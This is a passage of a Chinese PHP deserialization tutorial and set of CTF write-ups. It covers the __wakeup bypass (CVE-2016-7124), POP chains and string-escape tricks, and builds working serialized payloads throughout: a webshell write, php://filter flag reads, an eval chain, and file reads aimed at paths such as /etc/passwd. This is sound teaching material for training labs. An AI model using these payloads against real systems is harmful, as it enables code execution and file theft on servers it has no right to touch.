  2. $a 被攻击者控制为 "test"
  3. 脚本结束
  4. 自动触发 __destruct()
  5. 输出攻击者数据

输出:

销毁时调用--test

unserialize() = 直接“构造对象”,不是普通实例化

再看一个稍微复杂点的:

<?php
class A
{
    var $a = "a";
    var $b = "b\r\n";

    function __construct()
    {
        $this->a = "123";
        echo "初始化时调用\r\n";
    }

    function __destruct()
    {
        echo "销毁时调用--";
        echo $this->a . "\r\n";
    }
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);
echo $b->b;
?>

// 初始化时调用
// b
// 销毁时调用--test
// 销毁时调用--123

1.4.5 反序列化漏洞触发链

把整个过程串起来:

用户输入 → unserialize() → 构造对象 → 控制属性 → 自动触发魔术方法 → 执行危险逻辑

1.5 反序列化实例

<?php 
class A{
    var $test = "demo"; 
    function __destruct(){
        echo $this->test;
    } 
} 
$a = $_GET['test']; 
$a_unser = unserialize($a);
?>

构造payload,形成反射型xss

http://10.1.0.30:8000/demo1.php?test=O:1:"A":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

image-20260327122207296

1.6 简单实验

http://125.77.172.32:9090/

完成Level 1-Level 4

image-20260329103253453

image-20260329103309023

image-20260329112128190

image-20260329112136942

image-20260329114650216

php中要用->调用方法,因为.已经被用于拼接字符串了

image-20260329114839729

image-20260329115903536

image-20260329115921223

2.反序列化实战

2.1 wakeup绕过—CVE-2016-7124

在 PHP 反序列化过程中,如果类中定义了 __wakeup() 方法:

unserialize() 会优先自动调用 __wakeup()

开发者通常会在这里做:

  • 数据重置
  • 安全校验
  • 属性初始化

但在特定条件下,这个机制可以被绕过,从而导致危险逻辑被利用。

2.1.1 漏洞代码:

<?php
class A{
    var $target = "test";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        $filename = __DIR__ . '/shell.php';
        $fp = fopen($filename,"w");
        fputs($fp,$this->target);
        fclose($fp);
    }
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "shell.php<br/>";
$filename = __DIR__ . '/shell.php';
include($filename);
?>

2.1.2 正常执行流程

传入 payload:

O:1:"A":1:{s:6:"target";s:4:"test";}

执行链路:

  1. unserialize() 触发
  2. 检测到 __wakeup() → 自动执行

    $this->target = "wakeup!";
  3. 脚本结束 → 触发 __destruct()
  4. 写入文件:

    shell.php = wakeup!
  5. include(shell.php) → 输出 wakeup!

2.1.3 关键问题

用户可控:target 属性

但问题是:

__wakeup() 会强制覆盖 target

导致我们无法写入恶意内容

http://localhost:3000/demo2.php?test=O:1:"A":1:{s:6:"target";s:4:"test";}

image-20260327124141663

2.1.4 漏洞利用原理

利用点:属性个数不匹配

PHP 在反序列化对象时:

O:类名长度:"类名":属性个数:{...}

如果:

“声明的属性个数 > 实际属性个数”

就会触发:

跳过 __wakeup() 执行(CVE-2016-7124)

需要早期的php版本,比如5.4 5.5等

利用 Payload:

O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

访问:

http://localhost/demo2.php?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

image-20260327124646226

2.1.5 攻击执行流程

  1. unserialize() 执行
  2. 发现:

    • 声明属性数 = 2
    • 实际只有 1 个属性

触发异常逻辑:

跳过 __wakeup()

进入 __destruct()

fputs($fp, $this->target);

此时:

target = "<?php phpinfo();?>"

写入文件:

shell.php = <?php phpinfo();?>

include(shell.php) → 直接执行

一句话概括:

通过伪造属性数量,绕过 __wakeup(),保留用户可控属性,实现代码执行

2.1.6 wakeup绕过实战

BUUCTF题目[极客大挑战 2019]PHP

https://buuoj.cn/challenges

参考wp:

https://blog.csdn.net/2401_86760082/article/details/145581803

2.2 [网鼎杯 2020 青龙组]AreUSerialz

可以使用BUUCTF靶场的环境

https://buuoj.cn/challenges

image-20260327133341703

2.2.1 题目代码

<?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;
    protected $filename;
    protected $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

2.2.2 代码功能总览

核心流程非常清晰:

  1. 接收 str 参数
  2. 经过 is_valid() 过滤(限制字符范围)
  3. 执行 unserialize()
  4. 脚本结束 → 自动触发 __destruct()
  5. 在析构函数中调用 process() → 执行读/写操作

本题的利用点就在:析构函数触发的业务逻辑

2.2.3 关键函数拆解

1.过滤函数

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

作用:

  • 只允许 可打印字符(ASCII 32–125)
  • 不影响反序列化利用(关键点)

img

2.核心逻辑:process()

if($this->op == "1") {
    $this->write();
} else if($this->op == "2") {
    $res = $this->read();
    $this->output($res);
}

功能:

  • op == 1 → 写文件
  • op == 2 → 读文件(我们目标)

3.析构函数(利用入口)

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

关键点:

  • 使用 强等于 ===
  • 会在析构阶段调用 process()

2.2.4 正常执行流程

假设传入:

op = "2"

执行流程:

  1. 反序列化完成
  2. 进入 __destruct()
  3. 命中:

    $this->op === "2"
  4. 被重置:

    op → "1"
  5. 执行 process() → 进入 write()

导致无法读文件

2.2.5 漏洞核心:类型绕过

这里的关键是:

比较方式条件
===类型 + 值都相同
==自动类型转换

利用点

// 析构函数
$this->op === "2"

// process函数
$this->op == "2"

差异:

  • ===:严格比较
  • ==:弱比较(自动类型转换)

2.2.6 利用思路

构造:

op = 2   // 整型

执行效果:

__destruct()

2 === "2"   //  false

不会被重置

process()

2 == "2"   //  true

成功进入:

read()

2.2.7 完整利用链

反序列化
   ↓
__destruct()
   ↓(绕过 ===)
process()
   ↓(触发 ==)
read()
   ↓
file_get_contents()

这里用了一个经典读php源码技巧:

php://filter

php://filter/read=convert.base64-encode/resource=flag.php

作用:

  • 读取文件
  • 自动 base64 编码(避免乱码/解析问题)

2.2.8 最终 Payload 构造

<?php
class FileHandler {

    public $op;
    public $filename;
    public $content;
    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}
$o = new FileHandler();
echo(urlencode(serialize($o)));

生成结果:

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

实际上也就是

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";s:12:"Hello+World!";}

最终利用payload

http://目标/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

返回的是:

base64(flag)

本地解码即可拿到 flag

image-20260327133527862

image-20260327133546555

这里其实还有一个点,题目源码里有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里

当PHP版本 >= 7.2 时,反序列化对访问类别不敏感,设置了容错机制,尽管属性类型错误,php也认。

即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。

修改类中属性的方法

1.直接写:

优点是方便,缺点是只能赋值字符串。

class dome{
    public $a = 'phpinfo()';
    }

2.外部赋值:

优点是可以赋值任意类型的值,缺点是只能操作public属性。

class dome{ 
    public $a;
    }
$o = new dome();
$o -> a = 'evil';

引用:
对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。
基于此,可以绕过诸如\0字符的过滤。

3.构造方法赋值(万能方法):

优点是解决了上述的全部缺点,缺点是有点麻烦

<?php
class DEMO1{
    public $a;
    function __construct(){
        $this->a = 'evil';
    }
}

2.3 POP链

2.3.1 POP链基础

2.3.1.1 什么是 POP 链(Property Oriented Programming)

先说人话版理解

POP 链 = 利用多个类的“魔术方法 + 属性可控”,拼接出一条自动执行的攻击链

类似于:

  • 你不能直接执行危险函数
  • 但可以“借用”已有类的逻辑
  • 最终“绕一圈”达到你的目的(RCE / 文件读写)
2.3.1.2 为什么会有 POP 链?

在真实项目中:

unserialize($input);

无法控制代码逻辑,但你可以控制:

反序列化后的对象结构(属性值)


但是:

  • 单个类往往功能有限
  • 直接利用不够强

所以:

把多个类“串起来”用
2.3.1.3 POP 链的核心组成

一个完整 POP 链,通常包含 3 个角色:

1.触发点(Trigger)

魔术方法(自动执行)

常见:

  • __destruct() (最常见)
  • __wakeup()
  • __toString()
  • __call()

2.传递点(Gadget)

中间类,用来“传数据”

特点:

  • 使用 $this->xxx
  • 调用其他对象方法
  • 不做安全校验

3.利用点(Sink)

最终危险操作

例如:

  • system() → RCE
  • eval()
  • file_put_contents() → 写 shell
  • file_get_contents() → 读文件
  • include() → 文件包含
2.3.1.4 POP 链执行流程
unserialize()
   ↓
__destruct()
   ↓
调用某个方法
   ↓
传递对象属性
   ↓
触发另一个类的方法
   ↓
最终执行危险函数
2.3.1.5 一个极简 POP 链示例

示例代码

class A {
    public $b;

    function __destruct() {
        $this->b->run();
    }
}

class B {
    public $cmd;

    function run() {
        system($this->cmd);
    }
}

利用思路

构造:

A->b = B
B->cmd = "whoami"

序列化 payload

O:1:"A":1:{
    s:1:"b";
    O:1:"B":1:{
        s:3:"cmd";s:6:"whoami";
    }
}

执行链

unserialize
   ↓
A::__destruct()
   ↓
B::run()
   ↓
system("whoami")

先把“构造”翻译成人话

我们看到的是:

A->b = B
B->cmd = "whoami"

实际意思是:

创建一个 A对象,里面有个属性 b,这个 b 指向 B对象
同时 B对象 里有个属性 cmd = "whoami"

用代码写出来就是:

$b = new B();
$b->cmd = "whoami";

$a = new A();
$a->b = $b;

内存结构长什么样

你可以想象成这样一棵“对象树”:

A对象
 └── b → B对象
         └── cmd = "whoami"

序列化结果逐段拆解

O:1:"A":1:{
    s:1:"b";
    O:1:"B":1:{
        s:3:"cmd";s:6:"whoami";
    }
}

我们一段一段看

1.最外层:A对象

O:1:"A":1:{

含义:

部分含义
O对象
1类名长度
"A"类名
1有 1 个属性

2.属性 b

s:1:"b";

表示:

属性名 = "b"

3.属性值:一个 B 对象

O:1:"B":1:{

表示:

b = new B()

4.B 的属性 cmd

s:3:"cmd";s:6:"whoami";

表示:

cmd = "whoami"

反序列化后发生什么

当执行:

unserialize($payload);

PHP 在内存里“还原”出:

$a = new A();
$a->b = new B();
$a->b->cmd = "whoami";
2.3.1.6 实战中 POP 链长什么样?

真实项目(比如框架):

  • 类很多(上百个)
  • 方法互相调用
  • 属性复杂(private/protected)

利用方式:

  1. __destruct() / __wakeup()
  2. 看调用链
  3. 找可控属性
  4. 找危险函数
  5. 串起来
2.3.1.7 POP 链难点

实战难点主要在:

1.private / protected 属性

序列化格式特殊:

s:10:"\0类名\0属性名"

2.不可控类

你不能改代码,只能“利用现有类”

3.链很长

可能 5~10 个类串起来

4.需要绕过滤

  • 长度限制
  • 字符限制
  • wakeup 校验
2.3.1.8 总结

POP 链 = 利用反序列化 + 魔术方法,把多个类拼成一条“自动执行的攻击路径”

2.3.2 PHPSerialize-labs level 15 POP链前置

http://125.77.172.32:9090/Level15/index.php

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 --- 
世界的本质其实就是套娃
*/
/* FLAG in flag.php */
class A {
    public $a;
    public function __construct($a) {
        $this->a = $a;
    }
}
class B {
    public $b;
    public function __construct($b) {
        $this->b = $b;
    }
}
class C {
    public $c;
    public function __construct($c) {
        $this->c = $c;
    }
}

class D {
    public $d;
    public function __construct($d) {
        $this->d = $d;
    }
    public function __wakeUp() {
        $this->d->action();
    }
}

class destnation {
    var $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
    public function action(){
        eval($this->cmd->a->b->c);
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

第一步 eval($this->cmd->a->b->c); 关键代码,需要用action和函数触发,所以可以定位到对象D的__wakeUp() 方法

wakeup触发需要反序列化,先创建d并序列化,然后即可通过unserialize($_POST['o']);反序列化触发__wakeUp()

$d = new D();

serialize($d);

第二步:__wakeUp()触发后,执行 $this->d->action(); 这里对应的是$d->d->action(),

$d->d是D类中的属性,由于他调用了action方法,所以需要将属性d赋值为一个存在action方法的对象,所以显然还需要把实例化destnation对象赋给的D类的属性d

这样就成功触发action()

$dest = new destnation();

$d = new D($dest); // 传入 实例化对象 $dest 赋值给 cmd属性

serialize($d);

第三步:成功执行到 eval($this->cmd->a->b->c); ,这里的$this->cmd又是应该一个对象,并且该对象有a属性,所以,我们需要实例化A对象,并将其赋值给 destnation对象的cmd属性。

$a = new A();

$dest = new destnation($a); //  传入 实例化对象 $a 赋值给 cmd属性
 
$d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性

serialize($d);

第四步:然后执行到$this->cmd->a->b,同理可知,这里的$this->cmd->a又是应该一个对象,并且该对象有b属性,所以,我们需要实例化B对象,并将其赋值给A对象的a属性。

$b =new B();

$a = new A($b); //  传入 实例化对象 $b 赋值给 a 属性

$dest = new destnation($a); //  传入 实例化对象 $a 赋值给 cmd属性

$d = new D();

$d->d = $dest;

serialize($d);

然后以此类推到了$this->cmd->a->b->c,这里的$this->cmd->a->b又是应该一个对象,并且该对象有c属性,所以,我们需要实例化C对象,并将其赋值给B对象的b属性。

所以最后结构就是:

cmd → A对象
        └── a → B对象
                └── b → C对象
                        └── c = "恶意代码"

下面是完整构造php代码

<?php
class A {
    public $a;
    public function __construct($a) {
        $this->a = $a;
    }
}
class B {
    public $b;
    public function __construct($b) {
        $this->b = $b;
    }
}
class C {
    public $c;
    public function __construct($c) {
        $this->c = $c;
    }
}

class D {
    public $d;
    public function __construct($d) {
        $this->d = $d;
    }
}

class destnation {
    var $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
}
$c = new C("echo 123;");  // 传入 命令字符串 测试代码执行

$b =new B($c); //  传入 实例化对象 $c 赋值给 b 属性

$a = new A($b); //  传入 实例化对象 $b 赋值给 a 属性

$dest = new destnation($a); //  传入 实例化对象 $a 赋值给 cmd属性

$d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性

echo serialize($d);
?>

运行后得到:

O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:9:"echo 123;";}}}}}

image-20260327145828979

可以构造echo file_get_contents('flag.php');

O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}}

image-20260327151017371

2.3.3 2025 CISCN hellogate

下面两个环境都行

https://ctf.bugku.com/challenges/detail/id/3016.html

http://125.77.172.32:6060/hellogate.php

可以抓包也可以下载图片,发现图片最下端有php代码

<?php
error_reporting(0);

class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle;
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

发现是php反序列化,这题是一个典型三段式 POP 链(__toString → __get → 文件读取),但触发路径稍微绕一点。

先找入口(程序从哪开始)

$obj = unserialize($_POST['data']);
$obj->triggerMethod();

必须满足:

$obj 是 A 类对象

因为只有 A 里有:

triggerMethod()

第一跳:触发 __toString()

class A {
    public $handle;

    public function triggerMethod() {
        echo "" . $this->handle;
    }
}

关键点:

echo "" . $this->handle;

触发机制

当:

$handle 是一个对象

就会触发:

__toString()

第二跳:进入 B::__toString()

class B {
    public $worker;
    public $cmd;

    public function __toString() {
        return $this->worker->result;
    }
}

这里做了什么?

$this->worker->result

关键点

  • worker 是对象(我们可控)
  • result 不存在

于是触发:

__get()

第三跳:进入 C::__get()

class C {
    public $cmd;

    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}

最终利用点

file_get_contents($this->cmd);

我们控制:

cmd = "flag.php"

完整执行链

unserialize()
   ↓
A->triggerMethod()
   ↓
echo $this->handle
   ↓
触发 B::__toString()
   ↓
$this->worker->result
   ↓
触发 C::__get()
   ↓
file_get_contents(cmd)

倒推对象结构

根据调用链:

A->handle = B
B->worker = C
C->cmd = "flag.php"

用代码构造

$c = new C();
$c->cmd = "flag.php";

$b = new B();
$b->worker = $c;

$a = new A();
$a->handle = $b;

最终 payload构造

<?php
class A {
    public $handle;
}

class B {
    public $worker;
    public $cmd;
}

class C {
    public $cmd;
}

// 要读取的文件路径
$file_to_read = "/flag";          // 示例:/flag、flag.php、/etc/passwd 等

// 构造对象链
$c = new C();
$c->cmd = $file_to_read;

$b = new B();
$b->worker = $c;

$a = new A();
$a->handle = $b;

$payload = serialize($a);

echo $payload . "\n";
?>
#O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:5:"/flag";}s:3:"cmd";N;}}

最终payload

O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:5:"/flag";}s:3:"cmd";N;}}

post请求提交,即可获得flag,注意这里需要用burp提交,浏览器用hackbar提交看不到图片后的flag

image-20260327153713321

2.3.4 [MRCTF2020]Ezpop

使用BUUCTF平台,搜索[MRCTF2020]Ezpop

https://buuoj.cn/challenges

题目代码如下:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

我们的最终目标是获取flag.php中的flag信息,因此分析源代码信息,查看哪里可以获取到flag.php文件

发现在Modifier类中存在include($value),因此想到可以通过php伪协议来获取flag.php的信息

所以现在我们的目的就成了调用append函数

接着往下观察,发现__invoke函数调用了append函数,因此我们只要执行了__invoke函数一样可以获得flag信息,那该怎么执行__invoke函

数呢:

img

因此,此时我们应该使用别的函数来调用Modifier的一个对象,继续观察源代码发现只有test类的__get函数接收了参数值,因此我们就将Modifier对象传入到__get函数中,所以现在的目的就成了执行__get函数,那又该怎么执行__get函数呢:

img

所以此时就需要一个函数来调用test类中不存在的属性,这里要注意一下这行代码:$this->str->source,这里这么会有两个->呢,因为这里str就是test类的一个对象,然后调用test类的对象的soucre属性,但是这个属性在test类中并不存在,因此就会执行__get方法,所以现在我们就是要执行__toString函数,那我们又该如何执行__toString函数呢:

img

所以此时我们就需要通过执行show类的__construct函数来执行__toString函数并且__construct函数中的echo 'Welcome to '.$this->source."<br>"中的$this->source需要为对象才可以执行__toString函数,因此需要创建show类的对象和赋予$this->source对象。

分析完之后就需要根据分析过程来写脚本,脚本内容如下:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
// ========== 构造链条 ==========

// 1. 创建最外层 Show 对象
//    触发 __construct,但此时 source 不是对象,不会触发 __toString
$a = new Show();

// 2. 关键:让 $a->source 也是一个 Show 对象
//    这样 echo 'Welcome to ' . $this->source 会触发 __toString
$a->source = new Show();

// 3. 让内层 Show 的 str 是 Test 对象
//    这样 $this->str->source 访问的是 Test 的不存在属性,触发 __get
$a->source->str = new Test();

// 4. 让 Test 的 p 是 Modifier 对象
//    这样 $function() 就是 Modifier 对象被当函数调用,触发 __invoke
$a->source->str->p = new Modifier();

// 5. 序列化并 URL 编码(protected 属性有 %00 需要编码)
echo urlencode(serialize($a));

#payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

访问之后获得加密的flag.php文件,进行base64解密,结果如下:

flag.php文件:

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解密后信息:

img

调用链分析

unserialize($_GET['pop'])
        ↓
   [触发 __wakeup() 检查]
        ↓
   如果 $this->source 是对象
        ↓
   echo 'Welcome to ' . $this->source  →  触发 __toString()
                                              ↓
                                    return $this->str->source;
                                              ↓
                                    如果 $this->str 是 Test 对象
                                    且 Test 没有 source 属性
                                              ↓
                                    触发 Test::__get('source')
                                              ↓
                                    $function = $this->p;
                                    return $function();  →  触发 __invoke()
                                                                  ↓
                                                          Modifier::__invoke()
                                                                  ↓
                                                          $this->append($this->var)
                                                                  ↓
                                                          include('php://filter/...')

逆向分析:为什么要这样套?

目标点 include() 倒推,每一步解决"怎么触发上一个函数":

步骤目标需要触发解决方案
Step 4执行 include()调用 append()Modifier::__invoke() 调用 append()
Step 3触发 __invoke()把对象当函数调用Test::__get()return $function()
Step 2触发 __get()访问不存在的属性Show::__toString() 中访问 $this->str->source
Step 1触发 __toString()echo 一个对象Show::__construct()echo 'Welcome to ' . $this->source,让 $this->source 是 Show 对象

触发顺序:

反序列化 → echo 对象 → 访问不存在属性 → 对象当函数调 → include 文件

这个链条的精髓在于:每个类只负责把控制权传递给下一个类,像接力赛一样,最终把"执行任意代码"的能力传递到 Modifier::__invoke()

2.4 PHPSerialize-labs

已经给大家部署好了

http://125.77.172.32:9090/

WP参考

https://gitcode.csdn.net/69bab6b754b52172bc625636.html#devmenu1

https://github.com/ProbiusOfficial/PHPSerialize-labs

3.反序列化字符逃逸

利用“序列化后再过滤”导致的长度错位,实现结构逃逸,从而篡改反序列化结果

3.1 前置知识

3.1.1 序列化格式规则

PHP 序列化核心结构:

s:长度:"内容";

对象结构:

O:类名长度:"类名":属性个数:{...}

解析依赖“长度字段”而不是实际字符串

3.1.2 解析终止规则

反序列化:

  • ; 作为字段结束
  • } 作为对象结束
  • 严格按长度读取内容

超出范围的数据:

会被忽略
不影响已解析部分

3.1.3 两个关键特性

特性1:可“提前闭合”

如果在字符串中插入:

";...;}

会导致:

反序列化提前结束,后面数据被丢弃

特性2:长度必须匹配

如果:

声明长度 ≠ 实际长度

结果:

unserialize() 失败

3.1.4 漏洞产生条件

必须满足

serialize() → filter() → unserialize()

且 filter 会:

  • 增加字符(变长)
  • 或减少字符(变短)

3.2 替换后变长

示例代码:

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = 'aaaabb';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);

?>

这里我们的目的就是间接通过反序列化改变pass的值

漏洞点

$str = serialize($obj);
$str = filter($str);   // 关键
unserialize($str);

过滤函数

str_replace('bb', 'ccc', $str);

变化:

bb (2) → ccc (3)

每次替换:

+1 字符

所以当name的值为aaaabb的时候,过滤完name的值是aaaaccc,七个字符,但是序列化字符串依然认为name的值是6个,所以根据上面前置知识的特性二,这里反序列化失败,var_dump($c)的结果是bool(false)

// 运行结果
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
bool(false)

但是我们可以利用特性一去闭合,当我们让name的值为";s:4:"pass";s:6:"hacker";}

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = '";s:4:"pass";s:6:"hacker";}';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
//   ["name"]=>
//   string(27) "";s:4:"pass";s:6:"hacker";}"
//   ["pass"]=>
//   string(6) "123456"
// }

可以看到";s:4:"pass";s:6:"hacker";}是27个字符串,所以我们使name的值为

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},

来分析这27个bb,经过第一步序列化后为

O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

首先这里name的值的字符串数字为81,然后看到filter函数过滤后为

O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

变成了81个c,刚好就是原来让name的字符串个数81正确,而且;}可以在hacker后面闭合(图中箭头所指的;}),这符合了前置知识里面的两个特性,可以成功执行,然后后面的";s:4:"pass";s:6:"123456";}就可以废弃了,这便实现了间接修改了pass的值

注:这里序列化后

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}

是name的值,81个值

经过filter函数过滤后,前54个c就相当于54个b,多出来的27个字符c,把27个字符";s:4:"pass";s:6:"hacker";}顶到后面了,到这里序列化语句就因为;}截止了,且name的字符串数81为81个c,符合特性二,可以反序列化成功。后面";s:4:"pass";s:6:"123456";}被顶出去废弃了

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

// O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
//   ["name"]=>
//   string(81) "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"
//   ["pass"]=>
//   string(6) "hacker"
// }

总结:这里其实就是利用了filter函数可以替换增加字符串,每增加一个bb,在过滤函数filter替换之后会多一个字符串,我们需要构造的payload: ";s:4:"pass";s:6:"hacker";}是27个字符串,所以我们加上27个bb是为了多出27个字符

3.3 替换后变短

替换之后导致序列化字符串变短

